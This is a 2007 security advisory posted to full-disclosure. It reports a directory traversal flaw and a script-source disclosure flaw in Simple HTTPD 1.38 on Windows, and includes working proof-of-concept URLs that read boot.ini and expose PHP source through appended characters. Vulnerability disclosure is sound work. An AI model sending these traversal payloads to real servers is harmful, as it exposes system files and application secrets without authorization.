full-disclosure - Two vulnerabilities in Simple HTTPD 1.38

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Date: Fri, 7 Dec 2007 23:01:17 +0100
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com,
	news@...uriteam.com, full-disclosure@...ts.grok.org.uk, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: Two vulnerabilities in Simple HTTPD 1.38

#######################################################################

                             Luigi Auriemma

Application:  Simple HTTPD
              http://shttpd.sourceforge.net
Versions:     <= 1.38
Platforms:    Windows, *nix, QNX, RTEMS
              only Windows seems vulnerable
Bugs:         A] directory traversal
              B] scripts and CGI viewing/downloading
                 (%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date:         07 Dec 2007
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org

#######################################################################

1) Introduction
2) Bugs
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Simple HTTPD (shttpd) is an open source web server created for embedded
systems.

#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.

--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------

Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.

Note that only Windows seems vulnerable to the above bugs.

#######################################################################

===========
3) The Code
===========

A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini

B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff

#######################################################################

======
4) Fix
======

I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:

  http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general

#######################################################################

--- 
Luigi Auriemma
http://aluigi.org

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